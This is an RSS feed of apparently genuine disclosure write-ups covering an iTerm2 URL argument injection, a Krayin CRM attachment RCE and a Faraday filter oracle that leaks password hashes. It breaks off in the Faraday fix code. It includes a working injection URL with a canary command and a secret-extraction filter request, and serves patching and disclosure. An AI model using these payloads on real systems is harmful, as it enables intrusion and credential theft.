<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gurpreet Shergill on Medium]]></title>
        <description><![CDATA[Stories by Gurpreet Shergill on Medium]]></description>
        <link>https://medium.com/@gshergill?source=rss-6bc60fce374f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*RktVL3_i_7r2p1P1n_kdOw.png</url>
            <title>Stories by Gurpreet Shergill on Medium</title>
            <link>https://medium.com/@gshergill?source=rss-6bc60fce374f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 20:29:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gshergill/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[One NUL Byte Past the Fix: Command Execution in iTerm2 (CVE-2026–123014)]]></title>
            <link>https://gshergill.medium.com/one-nul-byte-past-the-fix-command-execution-in-iterm2-cve-2026-123014-e453a3dc8a16?source=rss-6bc60fce374f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e453a3dc8a16</guid>
            <category><![CDATA[codex-cve]]></category>
            <category><![CDATA[iterm2]]></category>
            <category><![CDATA[cve-2026-123014]]></category>
            <category><![CDATA[iterm2-cve]]></category>
            <dc:creator><![CDATA[Gurpreet Shergill]]></dc:creator>
            <pubDate>Sat, 07 Nov 2026 01:34:13 GMT</pubDate>
            <atom:updated>2026-11-07T01:34:13.942Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How a percent-encoded NUL survived one parser, became a space in another, and reopened an older </em><em>x-man-page: vulnerability.</em></p><p>URL handlers are small pieces of glue with surprisingly large consequences. A browser hands a custom URL to an application, the application translates it into an action, and everybody hopes the translation remains boring.</p><p>While reviewing iTerm2’s handling of x-man-page: URLs, I found a place where that translation stopped being boring. A percent-encoded NUL character survived the application’s input sanitizer, but a later command-line parser converted the same character into a space. That disagreement created new command-line arguments and exposed /usr/bin/man’s -P option, which selects the pager command.</p><p>The result was command execution as the logged-in macOS user. A link intended to open a manual page had quietly picked up a second job as a command launcher.</p><p>The issue is now tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-123014">CVE-2026–123014</a>. I reproduced the vulnerable path on iTerm2 3.7.6 and 3.7.4 on an arm64 Mac. The first fixed build was 3.7.7beta2, and the stable 3.7.7 release also rejected the same harmless canary.</p><h3>From a link to a command</h3><p>The vulnerable chain crossed several boundaries:</p><p>Diagram showing a crafted x-man-page URL passing the blacklist, having its NUL bytes converted to spaces, injecting a man -P option, and executing a pager command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N4m_86Xq-b1PmvoQpW65wg.png" /><figcaption><em>Figure 1 — The vulnerability lived in the disagreement between validation and later parsing. The same character was harmless to one stage and structural to the next.</em></figcaption></figure><p>For browser delivery, the conditions matter. A vulnerable version of iTerm2 must be installed, iTerm2 must be selected to handle the x-man-page: scheme, and the user must open the link. Safari or macOS may also display an external-application confirmation. The official CVE record includes those boundaries; this was not a silent drive-by from an arbitrary web page.</p><h3>The command builder trusted a blacklist</h3><p>The vulnerable path was in iTermSessionLauncher.m. iTerm2 built a command string for /usr/bin/man from the URL’s host and path:</p><pre>command = [NSString stringWithFormat:<br>    @&quot;login -pfq %@ /usr/bin/man -P ul -S %@ %@&quot;,<br>    NSUserName(),<br>    [self sanitizedCommand:url.host],<br>    [self sanitizedCommand:url.path]];</pre><p>The sanitizer rejected whitespace, newlines, and a selection of shell metacharacters:</p><pre>NSMutableCharacterSet *separators =<br>    [NSMutableCharacterSet whitespaceAndNewlineCharacterSet];<br><br>[separators formUnionWithCharacterSet:<br>    [NSCharacterSet characterSetWithCharactersInString:<br>        @&quot;;&lt;&gt;&amp;!#$*()\&#39;\&quot;`&quot;]];<br><br>const NSRange range =<br>    [unsafeCommand rangeOfCharacterFromSet:separators];</pre><p>That denylist did not contain U+0000. A URL component containing %00 was percent-decoded into NUL and passed this check.</p><p>By itself, an accepted NUL was not yet an argument separator. The important behavior appeared later, when iTerm2 reparsed the command.</p><h3>NUL’s second life</h3><p>In the tested 3.7.6 arm64 binary,componentsBySplittingStringWithQuotesAndBackslashEscaping: explicitly replaced a zero character with 0x20, an ASCII space:</p><pre>0000000100354ffc  bl    &quot;_objc_msgSend$characterAtIndex:&quot;<br>0000000100355000  cmp   w0, #0x0<br>0000000100355004  mov   w8, #0x20<br>0000000100355008  csel  w27, w8, w0, eq</pre><p>In plain language: if the next character is NUL, treat it as whitespace. Validation saw data; execution saw a delimiter.</p><p>That transformed a decoded host such as:</p><pre>x&lt;NUL&gt;-P&lt;NUL&gt;{/usr/bin/touch,/private/tmp/iterm2-stock-brace-canary}</pre><p>into additional arguments. My trace captured the resulting argv entries, including the injected second -P:</p><p>Runtime argument trace showing the injected -P and harmless touch command reaching man, followed by the canary result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qehw37AkXvzFVN0dQMCQNw.png" /><figcaption><em>Figure 2 — The left side records the constructed arguments and the eventual </em><em>/usr/bin/touch execution. The right side shows the harmless canary test succeeding.</em></figcaption></figure><p>The bug was not simply “NUL exists.” The bug was that two stages assigned different meanings to it after the security decision had already been made. Invisible characters, as usual, had excellent timing.</p><h3>Why man -P mattered</h3><p>The -P option tells man which pager command to use. Once the crafted URL introduced a new -P argument, the supplied value reached the pager execution path.</p><p>For a harmless direct test, I used a pager command that only created a temporary canary file:</p><pre>unlink /private/tmp/iterm2-stock-brace-canary 2&gt;/dev/null || true<br><br>open -a iTerm \<br>&#39;x-man-page://x%00-P%00%7B%2Fusr%2Fbin%2Ftouch%2C%2Fprivate%2Ftmp%2Fiterm2-stock-brace-canary%7D/usr/share/man/man1/ls.1&#39;<br>sleep 2<br>test -e /private/tmp/iterm2-stock-brace-canary &amp;&amp; \<br>  echo &quot;VULNERABLE: canary created&quot;<br>unlink /private/tmp/iterm2-stock-brace-canary</pre><p>Terminal evidence showing the crafted x-man-page URL and the message VULNERABLE: canary created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AKlpafgDBUAEdGofC2dUeg.png" /><figcaption><em>Figure 3 — The direct application test created the canary and then removed it. No destructive command or sensitive data was involved.</em></figcaption></figure><p>The impact was not root access. The injected command inherited the privileges of the user running iTerm2. Within that boundary, it could read or modify user-accessible files, launch applications, or make network requests.</p><h3>Confirming browser delivery</h3><p>I also tested the path from Safari. I temporarily registered iTerm2 for x-man-page:, served a local page, and restored the original handler when the test finished. One link launched Calculator; another created a temporary canary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Rr4sj58TsoTExelmF7lxrw.gif" /><figcaption><em>Figure 4 — Safari displayed the external-application confirmation. After approval, the crafted URL reached iTerm2 and the harmless Calculator demonstration executed.</em></figcaption></figure><p>That confirmation is part of the attack model, not an inconvenient detail to crop out of the demo. The official CVE assigns UI:P under CVSS 4.0 and records a High score of 8.7.</p><h3>Why the earlier fix did not hold</h3><p><a href="https://www.cve.org/CVERecord?id=CVE-2023-46321">CVE-2023–46321</a> covered argument injection in the same x-man-page: handler. Its fix introduced sanitizedCommand: and blocked whitespace plus selected metacharacters.</p><p>The bypass did not need one of those denied characters. %00 survived validation, and the downstream parser created the whitespace afterward. The filter and parser were individually understandable; their composition was unsafe.</p><p>This is the uncomfortable lesson with blacklist validation: it can reject only what it remembers to fear. When later code normalizes or reparses the accepted value, the dangerous character may not look dangerous until after the check.</p><h3>The final fix fails closed</h3><p>iTerm2’s <a href="https://gitlab.com/gnachman/iterm2/-/commit/f29420ae4d3e0f986ee24ea286885d32af58175a">fix commit</a> replaced the blacklist with explicit allowlists for manual-page operands and sections. It also added -- before page operands as defense in depth, rejected the whole URL instead of continuing with a modified value, removed the old sanitizedCommand: helper from this path, and added focused unit tests.</p><p>The new validation permits the characters expected in actual manual-page names while rejecting control characters, a leading dash, slashes, shell punctuation, and unexpected Unicode. NUL no longer gets far enough to negotiate a new identity as a space.</p><p>The patch was broader than my test case. Its commit message also documents protections against treating URL operands as local roff-file paths and against option injection in the apropos branch. A corresponding <a href="https://gitlab.com/gnachman/iterm2/-/commit/314ba43920dbce08808c032e89966918090bdf8e">cherry-picked commit</a> carried the same hardening to the release line.</p><h3>A note on tooling</h3><p>I used OpenAI’s Codex throughout this research to help identify and trace the vulnerability, prepare the disclosure report, and develop the PoC. I reviewed the relevant code, reproduced the behavior in my lab, and checked the final claims against the patch and fixed release.</p><h3>What users should do</h3><p>Upgrade to iTerm2 <strong>3.7.7 or later</strong>.</p><p>The PoC and demonstration files are <a href="https://github.com/giki-shergill/CVE-2026-123014---iTerm2-Terminal">on GitHub</a>.</p><h3>References</h3><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-123014">CVE-2026–123014</a></li><li><a href="https://iterm2.com/downloads.html">iTerm2 3.7.7 release notes and downloads</a></li><li><a href="https://gitlab.com/gnachman/iterm2/-/commit/f29420ae4d3e0f986ee24ea286885d32af58175a">Primary hardening commit</a></li><li><a href="https://gitlab.com/gnachman/iterm2/-/commit/314ba43920dbce08808c032e89966918090bdf8e">Release-line cherry-pick</a></li><li><a href="https://www.cve.org/CVERecord?id=CVE-2023-46321">CVE-2023–46321</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e453a3dc8a16" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One Sink, Two Paths: Email-Attachment RCE in Krayin CRM]]></title>
            <link>https://gshergill.medium.com/one-sink-two-paths-email-attachment-rce-in-krayin-crm-31ddc49ad720?source=rss-6bc60fce374f------2</link>
            <guid isPermaLink="false">https://medium.com/p/31ddc49ad720</guid>
            <category><![CDATA[krayin-cve]]></category>
            <category><![CDATA[krayin-crm]]></category>
            <category><![CDATA[krayin-crm-cve]]></category>
            <dc:creator><![CDATA[Gurpreet Shergill]]></dc:creator>
            <pubDate>Thu, 05 Nov 2026 01:16:46 GMT</pubDate>
            <atom:updated>2026-11-05T01:16:46.194Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How a mail composer and an external-sender IMAP route reached the same dangerous public-storage sink.</em></p><p>Krayin is an open-source CRM built on Laravel for managing customer contacts, sales leads, pipelines, and business email. Attachments are routine business data, and both its browser and inbox workflows eventually feed them into a shared storage layer.</p><p>While reviewing that flow, I found that AttachmentRepository::prepareData()saved an attachment under its supplied filename to Krayin&#39;s configured public disk. With the standard storage link present, a PHP attachment became reachable beneath /storage; in my lab, requesting that URL executed the file. An ordinary attachment had been promoted to application code. A generous career progression for a file nobody should have trusted.</p><p>The shared repository turned one storage flaw into two attack paths. A logged-in CRM user could reach it through the mail composer; an external sender could reach it through a configured IMAP inbox without a Krayin account. The prerequisites differed, but both paths ended at the same filename-preserving public-storage write.</p><h3>Two paths into the same sink</h3><p>Here is how each route reached the vulnerable attachment repository:</p><ol><li><strong>Unauthenticated external sender through IMAP.</strong> No Krayin account was required for this path. If an administrator had configured an inbound mailbox and enabled the scheduler, anyone able to email that inbox could supply the attachment. Krayin polled the mailbox through inbound-emails:process every five minutes, and the attachment flowed through WebklexImapEmailProcessor to the vulnerable repository. I traced this route in the source and tested the sink and execution step with a controlled Webklex attachment object.</li><li><strong>Low-privilege authenticated user through the mail composer.</strong> A logged-in CRM user with the mail.compose permission could submit an attachment to POST /admin/mail/create. Krayin saved it through the same repository and returned its public URL. I tested this path end to end with a restricted SalesRep account that I created in my lab database.</li></ol><p>The entry points and authentication requirements differed, but both paths arrived at the same filename-preserving public-storage write.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r4iSWE_s91UrOh43yYh-Ig.gif" /></figure><p><em>Figure 1 — Two independent entry points converged on the same filename-preserving write. The final execution step depended on the web server routing PHP requests beneath </em><em>/storage.</em></p><h3>Test scope</h3><p><strong>Runtime-tested snapshot:</strong> Krayin’s v2.2.x development line at commit a2c1960, the master HEAD I recorded on April 30, 2026.<br><strong>Affected releases identified in my submission:</strong> v2.2.0, v2.1.6, and v2.1.5, based on the vulnerable code history. My captured runtime proof came from commit a2c1960.<br><strong>Storage fix:</strong> v2.2.5, released August 4, 2026, including commit 4d81895.</p><h3>Code-path map</h3><p>The line references below are from the tested a2c1960 snapshot; they may differ in later revisions. Paths beginning with Email/ or Admin/ are shortened from packages/Webkul/.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CSxEiENX7w4SPvcvpvfV1Q.png" /></figure><h3>Where the filename became a storage path</h3><p>I found the relevant code in packages/Webkul/Email/src/Repositories/AttachmentRepository.php. Browser uploads and Webklex IMAP attachments both reached prepareData():</p><pre>// Excerpt from the tested a2c1960 snapshot.<br>private function prepareData(Email $email, UploadedFile|ImapAttachment $attachment): array<br>{<br>    if ($attachment instanceof UploadedFile) {<br>        $name = $attachment-&gt;getClientOriginalName();<br>        $content = file_get_contents($attachment-&gt;getRealPath());<br>        $mimeType = $attachment-&gt;getMimeType();<br>    } else {<br>        $name = $attachment-&gt;name;<br>        $content = $attachment-&gt;content;<br>        $mimeType = $attachment-&gt;mime;<br>    }</pre><pre>    $path = &#39;emails/&#39;.$email-&gt;id.&#39;/&#39;.$name;<br>    Storage::put($path, $content);</pre><pre>    // Attachment metadata follows.<br>}</pre><p>The filename came from the uploaded file or email attachment. There was no extension allowlist at this sink, and the name was not replaced with a server-generated identifier. The browser branch detected a MIME type, but recording that value did not restrict what could be saved.</p><p>The filesystem configuration made the destination significant:</p><pre>&#39;default&#39; =&gt; env(&#39;FILESYSTEM_DISK&#39;, &#39;public&#39;),</pre><p>This was Krayin’s configured default, not a universal Laravel default. With the public disk selected and the standard storage symlink present, the file was exposed at:</p><pre>/storage/emails/&lt;email_id&gt;/&lt;original_filename&gt;</pre><p>No path traversal was necessary. A simple filename ending in .php was enough to preserve the dangerous extension. The filename was not exactly hiding its ambitions.</p><h3>What I tested through the mail composer</h3><p>The authenticated route was POST /admin/mail/create. The controller passed the request to EmailRepository::create(), which forwarded the attachment to the shared repository. The response included its public URL. I didn&#39;t even have to ask for directions.</p><p>I tested this end to end with php artisan serve and MariaDB. The application accepted the PHP attachment, wrote it beneath public storage, and executed it when I requested the returned path. The saved output records execution under the operating-system account running the development server.</p><p>The test also worked with a restricted SalesRep account whose configured permissions included dashboard, mail, mail.compose, and mail.inbox. I created that lab account directly in the database. This establishes the result for that account and configuration; it is not evidence that every possible role can reach the endpoint.</p><p>The execution condition matters. A publicly reachable PHP file does not automatically execute on every web server. The server must route that path to PHP. A deployment that denies script requests under /storage, or serves the directory only as static content, breaks this execution step.</p><p>Where execution is possible, the code inherits the PHP process’s permissions. That can expose application configuration, database credentials, and CRM data available to that process. It does not automatically grant root access to the host.</p><h3>The IMAP route changes the entry point</h3><p>With Claude’s help, I traced the scheduled inbound-emails:process command through WebklexImapEmailProcessor to the same attachment repository. I followed the processor as it took attachments from incoming messages and passed them to uploadAttachments() with source set to email. The upstream <a href="https://github.com/krayin/laravel-crm/blob/2.2/packages/Webkul/Email/src/InboundEmailProcessor/WebklexImapEmailProcessor.php">IMAP processor</a> still shows this shared ingestion design, although Krayin has since fixed the storage destination.</p><p>Here the sender does not need a Krayin account. An administrator must already have configured inbound IMAP processing, the message and attachment must reach a mailbox that Krayin processes, and the resulting web path must be reachable and executable. The sender would also need to identify the attachment URL, including the generated email ID; unlike the composer route, there is no upload response handed back to the sender.</p><p>This was the more severe exposure I described in my submission: an external email sender could reach a storage operation also used by authenticated CRM users. The mailbox credentials belong to the configured application, not to the sender.</p><p>To isolate the application behavior from external mail-provider variables, I used poc_imap_simulate.php to construct the same kind of Webklex attachment object passed by the IMAP processor, with controlled name, content, and MIME properties. I passed that object into Krayin&#39;s actual repository. The test confirmed public-file creation and PHP execution, while I established the preceding IMAP delivery and polling route by tracing the application source into that same tested sink.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*FqHqpvGeiLFKAS334ETxOA.png" /></figure><p><em>Figure 2 — Evidence retained with my submitted report: Krayin wrote the simulated IMAP attachment to public storage, and requesting that path executed it as the PHP application user.</em></p><h3>Related research</h3><p>CVE-2026–36340 documents RCE through Krayin’s authenticated mail composer. My report additionally traced a second route into the same attachment repository: email delivered through a configured IMAP inbox, where the sender required no Krayin account.</p><h3>What the fix changed</h3><p>Krayin’s <a href="https://github.com/krayin/laravel-crm/releases/tag/v2.2.5">v2.2.5 release notes</a> explicitly list the executable email-attachment fix. The release was published on <strong>August 4, 2026</strong>. The subsequent v2.2.6 release was in September, but this storage change was already in v2.2.5.</p><p>The final change in <a href="https://github.com/krayin/laravel-crm/commit/4d818957bd5e32abef89d4708438f55a007fa8b5">commit </a><a href="https://github.com/krayin/laravel-crm/commit/4d818957bd5e32abef89d4708438f55a007fa8b5">4d81895</a> moves new attachments to the local disk and gives them random storage names:</p><pre>public const DISK = &#39;local&#39;;</pre><pre>// Inside prepareData():<br>$path = &#39;emails/&#39;.$email-&gt;id.&#39;/&#39;.Str::random(40);<br>Storage::disk(self::DISK)-&gt;put($path, $content);</pre><pre>return [<br>    &#39;path&#39; =&gt; $path,<br>    &#39;name&#39; =&gt; basename(str_replace(&#39;\\&#39;, &#39;/&#39;, (string) $name)),<br>    &#39;content_type&#39; =&gt; Storage::disk(self::DISK)-&gt;mimeType($path)<br>        ?: &#39;application/octet-stream&#39;,<br>    // size and email_id follow<br>];</pre><p>The original name is retained as metadata after basename normalization. The stored file supplies the content type, and the attachment URL now points to the application’s download route. With the standard filesystem configuration, the new file is outside the public web root and has no attacker-selected extension. The attachment’s brief career in backend development was over.</p><p>These changes address the two central problems in my remediation suggestions: public placement and attacker-controlled storage names. Instead of relying on a file-type allowlist, the fix breaks the execution chain by storing new attachments outside the public web root under random, extensionless names. Under Krayin’s standard filesystem configuration, that closes the public-path RCE I reported for new attachments. The accompanying 20 MB limit on browser uploads is an additional validation measure, not the control that closes this vulnerability.</p><p>The patch’s resolveDisk() fallback still reads older attachments from the configured default disk. It does not migrate or remove files already placed in public storage. Operators should therefore review existing files under storage/app/public/emails as part of upgrading.</p><p>I have not received a maintainer reply connecting this patch to my submission. The public <a href="https://github.com/krayin/laravel-crm/commit/4d818957bd5e32abef89d4708438f55a007fa8b5">fix commit</a>, <a href="https://github.com/krayin/laravel-crm/pull/2614">pull request</a>, and <a href="https://github.com/krayin/laravel-crm/releases/tag/v2.2.5">v2.2.5 release notes</a> do not credit me by name or GitHub handle as the reporter or finder. They establish what Krayin fixed, but they do not identify which report prompted the change.</p><h3>Research note</h3><p>I used Anthropic’s Claude to help scan the repository, trace the relevant paths, and develop the PoCs. I then verified the source, ran the composer PoC and controlled IMAP-sink test in my own lab, and compared the results with the later patch. Claude made the reading faster; the lab still had the final vote.</p><h3>Disclosure and unanswered emails</h3><p>I recorded this research on April 30, 2026, submitted the issue to the maintainers, and sent four follow-up emails. None received a reply.</p><p>Krayin shipped the storage fix in v2.2.5 on August 4, 2026, but did not tell me. I found it myself in October while checking the public code and release history. The release notes did mention the executable attachment issue, so the fix was publicly documented; it was carried out without any communication to me as the reporter.</p><p>Because successful exploitation could lead to server-side code execution in a CRM deployment, I treated the finding as critical-impact and did not publish the technical details or PoC while it was unpatched. I am publishing this article and the full mail-composer RCE PoC on November 4, 2026 — three months after the fix shipped. That gave operators a full three months to update before I released my research.</p><p>The storage fix is welcome. The communication was poor. I received no acknowledgement, no technical response, and no update connecting the fix to my report. I had to piece together what changed from the public code and release notes. Apparently, the changelog was the only part of the disclosure process willing to talk.</p><p>A brief acknowledgement and a status update are reasonable expectations when someone reports a security issue privately. Krayin fell short of that standard in my experience. Publishing a fix helps users; leaving the reporter’s emails unanswered makes coordination unnecessarily difficult.</p><p>Separately, as of November 4, my CVE request has been waiting nearly two months. I do not have an explanation for that delay.</p><p>I kept tracing beyond the composer because both paths reached the same repository. A login requirement on the browser upload did not tell me who could reach the same operation through email ingestion. Following the bytes all the way to storage exposed that second route — and showed why the fix needed to apply there too.</p><p><strong>Code and full PoC:</strong> <a href="https://github.com/giki-shergill/Krayin-email-attachment-rce">github.com/giki-shergill/Krayin-email-attachment-rce</a>. The published script reproduces the authenticated mail-composer path and must be used only in an authorized disposable lab.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31ddc49ad720" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Turning a Faraday Search Filter into a Secret-Extraction Oracle]]></title>
            <link>https://gshergill.medium.com/turning-a-faraday-search-filter-into-a-secret-extraction-oracle-c9923374f543?source=rss-6bc60fce374f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9923374f543</guid>
            <category><![CDATA[faradaysec]]></category>
            <category><![CDATA[faradaysec-vulenrability]]></category>
            <category><![CDATA[faraday-security]]></category>
            <dc:creator><![CDATA[Gurpreet Shergill]]></dc:creator>
            <pubDate>Wed, 04 Nov 2026 01:42:48 GMT</pubDate>
            <atom:updated>2026-11-04T01:42:48.560Z</atom:updated>
            <content:encoded><![CDATA[<p>Faraday is a vulnerability management platform that organizes results from tools such as Nmap, Burp Suite, and Nessus into workspaces. It has a free, single-user Community Edition and commercial Professional and Corporate editions. With findings from multiple engagements and the accounts behind them in one place, it’s a valuable target.</p><p>I found this bug while testing Community Edition’s search filter. The filter API let an authenticated, low-privilege user walk from a vulnerability, host, or service to its creator, then ask the database to compare columns on the User model. I wasn&#39;t getting those columns back in the response, just a result count. But by changing the question on each request, I could use that count to rebuild a secret, one bit at a time.</p><p>I used this to recover an administrator’s full 60-character bcrypt hash, byte for byte, on Faraday 5.19.0 and 5.20.1. The same primitive reached TOTP secrets and internal user identifiers. Faraday fixed it in 5.21.0 and credited me as the finder in <a href="https://github.com/infobyte/faraday/security/advisories/GHSA-v3fv-c24g-54p3">GHSA-v3fv-c24g-54p3</a> (Moderate, CVSS 6.5). The CVE request is still pending at the time of writing.</p><h3>A feature worth attacking</h3><p>The relationships between Faraday’s records explain why the filter is so useful. A vulnerability belongs to a host, the host has services, everything lives in a workspace, and most records point back to the user who created them. Analysts need to query across those relationships, so Faraday ships a flexible filter language.</p><p>When looking at a filter like this, I separate two questions:</p><ol><li>Which <strong>records</strong> may this user see?</li><li>Which <strong>relationships and fields</strong> may the database evaluate on this user’s behalf?</li></ol><p>The second question is where this finding sits. Restricting the records returned to a user doesn’t, by itself, restrict what that user can ask the database about.</p><h3>The target</h3><p>Three workspace-scoped endpoints shared the same filter implementation:</p><pre>/_api/v3/ws/&lt;workspace&gt;/vulns/filter<br>/_api/v3/ws/&lt;workspace&gt;/hosts/filter<br>/_api/v3/ws/&lt;workspace&gt;/services/filter</pre><p>Each takes a JSON filter in the q parameter. Besides plain comparisons such as like, the language supports relationship operators such as has. A simplified request looks like this:</p><pre>{<br>  &quot;filters&quot;: [{<br>    &quot;name&quot;: &quot;creator&quot;,<br>    &quot;op&quot;: &quot;has&quot;,<br>    &quot;val&quot;: {<br>      &quot;name&quot;: &quot;password&quot;,<br>      &quot;op&quot;: &quot;like&quot;,<br>      &quot;val&quot;: &quot;$2b$%&quot;<br>    }<br>  }]<br>}</pre><p>In plain English: <em>return the records whose creator has a stored password hash starting with </em><em>$2b$.</em></p><p>I wasn’t asking the API to include the password field in its output. I was asking whether it matched a prefix. A positive count told me that it did; zero told me that it didn’t.</p><h3>Root cause</h3><p>The relevant code is in faraday/server/utils/search.py, where the filter&#39;s namefield ends up as an attribute name. In 5.20.1, it looks like this:</p><pre># faraday/server/utils/search.py (v5.20.1)<br># raises AttributeError if `fieldname` or `relation` does not exist<br>if relation:<br>    # For relationship queries, get the relationship field first<br>    field = getattr(model, relation)<br>else:<br>    field = getattr(model, fieldname)</pre><p>getattr checks that an attribute exists; it doesn&#39;t check whether the caller is allowed to query it. Once the current model becomes User, this call resolves password, _otp_secret, or fs_uniquifier just like any public column. getattr was doing exactly what it had been asked to do. Unfortunately, I was doing the asking.</p><p>The query reaches User through the recursive operator handling. The has operator applies a nested expression to a SQLAlchemy relationship:</p><pre>&#39;has&#39;: lambda f, a, fn: f.has(_sub_operator(f, a, fn)),</pre><p>Following the request through the code gives this flow:</p><pre>GET /_api/v3/ws/&lt;workspace&gt;/{vulns,hosts,services}/filter?q=&lt;JSON&gt;<br>        |<br>        v<br>FlaskRestlessSchema loads the filter structure<br>        |<br>        v<br>search.py resolves &quot;creator&quot; and processes has(...)<br>        |<br>        v<br>nested field name is resolved against User with getattr()<br>        |<br>        v<br>User.password LIKE &#39;&lt;guessed prefix&gt;%&#39;<br>        |<br>        v<br>the response count reveals true or false</pre><p>Schema validation did restrict which <em>relationships</em> I could name. Once I crossed an allowed relationship, though, it didn’t restrict which <em>column</em> I could pick. That was the gap I used.</p><h3>From one bit to a secret</h3><p>A single yes-or-no answer doesn’t give me much. Repeating the question with slightly different prefixes does. I started from a known prefix, tested one candidate character at a time, kept the one that returned a positive count, and repeated.</p><p>That was enough to recover the test administrator’s complete bcrypt hash during validation, one character per round:</p><pre>[3/3] Full extraction of User.password (bcrypt hash)<br>    [ 1]  &#39;$&#39;  -&gt; $<br>    [ 2]  &#39;2&#39;  -&gt; $2<br>    ...<br>    [60]  &#39;O&#39;  -&gt; $2b$12$DXkibBwn0oXbsGOXjy/b4uBG2wVTHsRlXKUVBV8O4ZE9iMecuMBCO</pre><p>I checked the recovered string against faraday_user.password for admin with a direct database query. It matched byte for byte. This was a throwaway test account. I also confirmed that the same primitive reached TOTP secrets and internal user identifiers when those fields were populated.</p><h3>“But it needs a login”</h3><p>Yes, authentication was required. Before going further with the impact, I need to be clear about how I set up the test account and what that test establishes.</p><p>The published advisory records exploitation by low-privilege users, including accounts without assigned workspaces. My test account had the lowest-privilege client role and no workspace assignments, but there is an important qualification: Community Edition normally allows only one active administrator, so I created the second account directly in the test database to exercise the vulnerable code path. That proves the oracle once such an authenticated identity exists; it does not establish a supported way to create that identity in a stock Community deployment.</p><p>I did not directly test Professional or Corporate. Those editions are multi-user, but they also have edition-specific authorization paths. The conservative conclusion is that the oracle works once an authenticated identity can reach an affected filter endpoint containing records with a populated creator_id; I would not claim that an unassigned commercial user can necessarily reach that endpoint. Whatever the edition, nothing in this API was meant to expose another user&#39;s password hash.</p><p>Within those limits, the impact is confidentiality:</p><ul><li>Password hashes can be attacked offline.</li><li>TOTP seeds can be inferred when populated.</li><li>User identifiers and account metadata can be enumerated.</li><li>The same root cause appeared in three separate endpoints.</li></ul><h3>Why the score is 6.5</h3><p>I asked Faraday whether the follow-on risk justified a higher score. They kept the advisory at CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, which is 6.5. Having gone through their explanation, I think that&#39;s fair.</p><p>Recovering those values is a high confidentiality impact in its own right. The oracle doesn’t modify records or take the service down, though, and each route from disclosure to account takeover needs something else to succeed:</p><ul><li>Turning a bcrypt hash into a password depends on the password being weak enough to crack.</li><li>Knowing fs_uniquifier does not let you forge a Faraday JWT. The server&#39;s SECRET_KEY is also required, and this oracle does not expose it.</li><li>A TOTP seed only matters if 2FA is enabled and the field is populated. It also still needs the rest of an account-takeover path.</li></ul><p>Those follow-on risks are real, but I can’t count them as outcomes this bug guarantees. What I demonstrated was disclosure. The primitive did not execute code, modify records, or reveal the signing key.</p><h3>Validating without extracting anything</h3><p>For the public verifier, I kept the check to two requests. I don’t need a souvenir password hash to check whether the fix works. On a test instance you’re authorized to use, the verifier does this:</p><ol><li>Ask whether User.password begins with the expected bcrypt marker, such as $2.</li><li>Repeat with a deliberately impossible prefix.</li><li>Compare the counts.</li></ol><p>On an affected version (before 5.21.0), with at least one record that has a creator, the first probe returns a positive count and the control returns zero. On 5.21.0 and later, Faraday rejects the filter with HTTP 400. That’s enough to check the demonstrated behaviour. The verifier never enumerates characters or prints stored values; I’ve left the extraction loop out of the public repository.</p><h3>The fix</h3><p>For this class of bug, I’d want the filter language to have an explicit policy for what may be queried:</p><ul><li>Keep a per-model allowlist of queryable fields.</li><li>Re-apply that policy after every relationship traversal, not only on the top-level model.</li><li>Treat user, authentication, session, and token fields as non-queryable by default.</li><li>Make sure every endpoint that shares the filter code gets the same protection.</li><li>Add regression tests for nested has, any, and similar operators.</li></ul><p>Faraday’s fix in 5.21.0 lives in the filter schema, in faraday/server/utils/filters.py. It adds a list of sensitive field names and rejects any filter that references one, including filters nested inside has, and, and or:</p><pre># faraday/server/utils/filters.py (v5.21.0)<br>SENSITIVE_FILTER_FIELDS = frozenset({&#39;password&#39;, &#39;token&#39;, &#39;_otp_secret&#39;, &#39;fs_uniquifier&#39;, &#39;session_id&#39;, &#39;access_token&#39;})<br></pre><pre>def _is_sensitive_field_name(name: str) -&gt; bool:<br>    if name in SENSITIVE_FILTER_FIELDS:<br>        return True<br>    if &#39;__&#39; in name:<br>        _, field = name.split(&#39;__&#39;, 1)<br>        return field in SENSITIVE_FILTER_FIELDS<br>    return False<br></pre><pre>def _reject_sensitive_filter(val):<br>    &quot;&quot;&quot;Raise ValidationError if val (or any nested filter within it) references a sensitive field.&quot;&quot;&quot;<br>    if isinstance(val, dict):<br>        if _is_sensitive_field_name(val.get(&#39;name&#39;, &#39;&#39;)):<br>            raise ValidationError(&#39;Filter on sensitive field is not allowed&#39;)<br>        _reject_sensitive_filter(val.get(&#39;val&#39;))<br>   